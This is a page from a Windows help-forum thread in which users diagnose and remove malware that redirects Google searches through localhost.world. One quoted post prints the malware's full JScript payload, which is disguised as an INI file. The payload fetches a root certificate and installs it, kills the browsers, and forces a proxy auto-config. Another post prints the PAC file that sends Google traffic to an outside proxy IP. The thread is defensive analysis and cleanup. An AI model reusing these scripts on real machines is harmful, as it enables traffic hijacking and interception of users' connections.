Google redirection localhost.world

Page 11 of 12 FirstFirst ... 9101112 LastLast

  1. Posts : 5
    WIN 7
       #101

    Something quite strange was detected in the registry.

    Even after I've successfully removed all the main causes of this Maleware, it seems that some remnants of it remained in my registry. Here is what I've found (when searching for keys containg the word 'localhost.world' or 'localhost' or '.world')

    [ note - do NOT activate the attached *.reg ]
    Attached Thumbnails Attached Thumbnails Google redirection localhost.world-localhost.world-registry-key.jpg  
    Google redirection localhost.world Attached Files
      My Computer


  2. Posts : 11
    Windows 7 and 10
       #102

    this is nothing you have to worry about.. the value is in your registry because you have opened the file and it's now in your recent file list (the shortcut to this file actually)
      My Computer


  3. Posts : 1
    windows 7 ultimate
       #103

    Hi i have been having the same problem
    what happens is a "nslookup.exe" runs everyday at 18:00 (GMT+0) and changes my setting to:
    Google redirection localhost.world-capture1.jpg
    i tried checking the sched but nothing of sort was there

    after downloading the file this is what was on it :

    function FindProxyForURL(url, host) {
    ba = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ba.test(url)) { return "PROXY 69.197.188.122:8484" }
    bb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (bb.test(url)) { return "PROXY 69.197.188.122:8484" }
    bc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (bc.test(url)) { return "PROXY 69.197.188.122:8484" }
    bd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (bd.test(url)) { return "PROXY 69.197.188.122:8484" }
    be = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (be.test(url)) { return "PROXY 69.197.188.122:8484" }
    bf = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (bf.test(url)) { return "PROXY 69.197.188.122:8484" }
    return "DIRECT";
    }
    i'm going to go through the 102 replies looking for a solution, but if anybody got a quick fix it'd be much appreciated

    Tkanks
      My Computer

  4. simrick's Avatar
    Posts : 16,108
    W10Prox64
       #104

    nueru said:
    Hi i have been having the same problem
    what happens is a "nslookup.exe" runs everyday at 18:00 (GMT+0) and changes my setting to:
    Google redirection localhost.world-capture1.jpg
    i tried checking the sched but nothing of sort was there

    after downloading the file this is what was on it :

    function FindProxyForURL(url, host) {
    ba = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ba.test(url)) { return "PROXY 69.197.188.122:8484" }
    bb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (bb.test(url)) { return "PROXY 69.197.188.122:8484" }
    bc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (bc.test(url)) { return "PROXY 69.197.188.122:8484" }
    bd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (bd.test(url)) { return "PROXY 69.197.188.122:8484" }
    be = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (be.test(url)) { return "PROXY 69.197.188.122:8484" }
    bf = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (bf.test(url)) { return "PROXY 69.197.188.122:8484" }
    return "DIRECT";
    }
    i'm going to go through the 102 replies looking for a solution, but if anybody got a quick fix it'd be much appreciated

    Tkanks
    Hi.
    Please read the post #36 here. It should point you in the right direction.
      My Computer


  5. Posts : 1
    Windows 10
       #105

    moraleja39 said:
    Here are all the things I had to wipe:

    • The scheduled task. Its name was "Adobe Acrobat Pro DC Update". You can open the task scheduler writing taskschd.msc on the start menu search bar and hitting enter.
    • A file named "settings.ini" located on %APPDATA%\Adobe Acrobat Pro DC". Full path could be "C:\Users\[username]\AppData\Roaming\Adobe Acrobat Pro DC\settings.ini".
    • In my case, two fake certificates. Open the certificate manager writing certmgr.msc on the start menu and hitting enter. The certificates are named "DO_NOT_TRUST_FiddlerRoot" and are under the folder "trusted root CAs" (or however it is in English)
    • Registry changes used to force proxy usage. In my case, I totally deleted the following values:
      • HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
      • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
      • HKCU\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnableAutoProxyResultCache

    • Just in case it is still enabled, disable the proxy. Go to control panel, internet settings, connections, LAN settings, and disable all checkboxes.


    I also will attach the removed INI and certificate files, just in case they could be of use to anybody reading this, as they are not dangerous per se.
    thats not enough
    im amazed that you havnt posted anthing after this about how this comes back after a few days

    to solve this crap for good you need to BLOCK the IP adress from this Localhost.world
    if you dont it will come back even if you delete this stuff.

    Block IP 69.197.188.122 from your firewall and you can forget this for good :)
      My Computer


  6. Posts : 6
    Windows 10
       #106

    moraleja39 said:
    Hey. I've been struggling with this problem for a while, and I think I just solved it. However, I assure that this malware was undetected by all the many tools I scanned my PC with, so it may require some review by, I don't know, the guys who write those tools.

    Here we go: I noticed that Chrome getting closed and that cmd window that flashed happened always at 18:00, so searched in the task scheduler. Bingo:

    Attachment 54678
    (the first one, sorry for it being in Spanish)

    The action for that task is the following:
    Code:
    C:\Windows\system32\wscript.exe //nologo //B //E:jscript "C:\Users\[me]\AppData\Roaming\Adobe Acrobat Pro DC\settings.ini"
    Looking at that ini file, it was indeed a JS file badly disguised as INI. Stripped of all the comments, this are its contents:
    Code:
    var ns, no, re, rs, st, reg, pac;var ws = new ActiveXObject("Wscript.Shell");
    var bs = new ActiveXObject("ADODB.Stream");
    var xh = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    var tmp = ws.ExpandEnvironmentStrings("%TEMP%");
    try {
      ns = ws.Exec("nslookup -type=txt remotesettings1.mtmyoq.se");
      no = ns.StdOut.ReadAll();
      re = new RegExp('"(.*?)"');
      rs = re.exec(no);
      st = rs[1].split("|");
      pac = st[0];
      cer = st[1];
      try {
        reg = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL");
      } catch (e) {
      }
      if (reg != pac) {
        ws.Run("taskkill /f /im iexplore.exe", 0, false);
        ws.Run("taskkill /f /im chrome.exe", 0, false);
        try {
          xh.Open("GET", cer, false);
          xh.Send();
          bs.Type = 1;
          bs.Open();
          bs.Write(xh.ResponseBody);
          bs.SaveToFile(tmp + "\\cert.cer", 2);
          ws.Run("certutil -addstore -f -enterprise -user root " + tmp + "\\cert.cer", 0, false);
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ");
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ");
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\EnableAutoProxyResultCache", 0, "REG_DWORD");
        } catch (e$0) {
        }
      }
    } catch (e$1) {
    }
    ;
    Pretty much the behavior we are seeing.

    I can see that it also installs a certificate, probably to make work that fake google through https without raising errors. I can't tell much about the certificate since I am not very well up on the subject. What I can tell is that it was created by Fiddler free web debugging proxy
    , and that it shows on my installed certs as this:

    Attachment 54680
    Well yeah, do not trust.

    Interestingly, there are several domains involved in the malware. The first one, localhost.world from where that smelly proxy settings are pulled from, and mtmyoq.se. This last one, when visited, contains a long string that, when base64 decoded, looks like this:
    Code:
    <Settings>
        <Setting>
            <ida>1122843206</ida>
            <UpdateVer>6.1.7600.20003</UpdateVer>
            <UpdateUrl></UpdateUrl>
            <UpdateType>2</UpdateType>
            <PacUrl>http://searchly.org/router.pac</PacUrl>
            <PacFile>ZnVuY3Rpb24gRmluZFByb3h5Rm9yVVJMKHVybCwgaG9zdCkgeyBpZiAoc2hFeHBNYXRjaChob3N0LCAid3d3Lmdvb2dsZS4qIikpIHJldHVybiAiUFJPWFkgMTI3LjAuMC4xOjgwODAiOyAgcmV0dXJuICJESVJFQ1QiO30=</PacFile>
            <OneIn>1</OneIn>
            <RewriteFrom></RewriteFrom>
            <RewriteTo></RewriteTo>
            <DisableRewrite>0</DisableRewrite>
            <Ping>1</Ping>
            <RedirectType>0</RedirectType>
            <Accounts>
                <Account>
                    <RefUrl>http://www.digital4k.net/search.php?action=results&amp;sid=</RefUrl>
                    <CX>009793234822822480237:wabrdd_t6e8</CX>
                </Account>    
            </Accounts>
        </Setting>
    </Settings>
    I couldn't tell what that part is but it involves more domains. What is clear is that this is obviously malware, probably an attemp of phising. And none of those domains or IPs are blocked by my security software (ESET Smart Security) or seem to be blacklisted anywhere. This is not ok.

    Oh I almost forgot. To get rid of it, just delete the task, the .ini file, all the "DO_NOT_TRUST" certificates and revert the registry changes made. Ensure that there is not any proxy set.
    I registered an account here to say thank you. This has been bothering me for MONTHS and I have not been able to find ANY information on it, I have tried so many different anti-virus and anti-malware programs that have found nothing. I cannot thank you enough for saving me from having to reformat because of this. I wish I knew how we could share this with a large group of people because this is a bigger problem than I think many realize. I am changing all my passwords - I hate to think what might have been compromised
      My Computer

  7. simrick's Avatar
    Posts : 16,108
    W10Prox64
       #107

    korbinperry said:
    I registered an account here to say thank you. This has been bothering me for MONTHS and I have not been able to find ANY information on it, I have tried so many different anti-virus and anti-malware programs that have found nothing. I cannot thank you enough for saving me from having to reformat because of this. I wish I knew how we could share this with a large group of people because this is a bigger problem than I think many realize. I am changing all my passwords - I hate to think what might have been compromised
    Hi korbinperry and welcome to Tenforums. Glad this was able to help you. Thanks for registering to let us know this worked for you as well. :)
      My Computer


  8. Posts : 6
    Windows 10
       #108

    simrick said:
    Hi korbinperry and welcome to Tenforums. Glad this was able to help you. Thanks for registering to let us know this worked for you as well. :)
    Absolutely!

    I actually have a question maybe you can help... So for the most part this eliminated my problem. Mine was slightly different, and for the sake of transparency I'll share...mine wasn't coming from a false adobe updater it came from a modified version of Microsoft toolkit containing autokms. Someone had snuck it in there. I have removed autokms and Mstk for all I can tell now and am genuine. My question is, I still see something trying to make an outbound connection. My malwarebytes keeps picking up an outbound attempt at that IP we were all having issues with, various ports, leading to svchost.exe. Not a fake svchost, the real deal. Any ideas how I could see what's causing this?
      My Computer

  9. simrick's Avatar
    Posts : 16,108
    W10Prox64
       #109

    korbinperry said:
    Absolutely!

    I actually have a question maybe you can help... So for the most part this eliminated my problem. Mine was slightly different, and for the sake of transparency I'll share...mine wasn't coming from a false adobe updater it came from a modified version of Microsoft toolkit containing autokms. Someone had snuck it in there. I have removed autokms and Mstk for all I can tell now and am genuine. My question is, I still see something trying to make an outbound connection. My malwarebytes keeps picking up an outbound attempt at that IP we were all having issues with, various ports, leading to svchost.exe. Not a fake svchost, the real deal. Any ideas how I could see what's causing this?
    hmmm.....can you try using process explorer and maybe following the PIDs? Also, GlassWire may shed some light on things.
      My Computer


  10. Posts : 6
    Windows 10
       #110

    simrick said:
    hmmm.....can you try using process explorer and maybe following the PIDs? Also, GlassWire may shed some light on things.
    Good idea.. I'll report back anything I find in case it can help someone else! Thank you again!
      My Computer


 
Page 11 of 12 FirstFirst ... 9101112 LastLast

  Related Discussions
Our Sites
Site Links
About Us
Windows 10 Forums is an independent web site and has not been authorized, sponsored, or otherwise approved by Microsoft Corporation. "Windows 10" and related materials are trademarks of Microsoft Corp.

Designer Media Ltd
All times are GMT -5. The time now is 18:29.
Find Us




Windows 10 Forums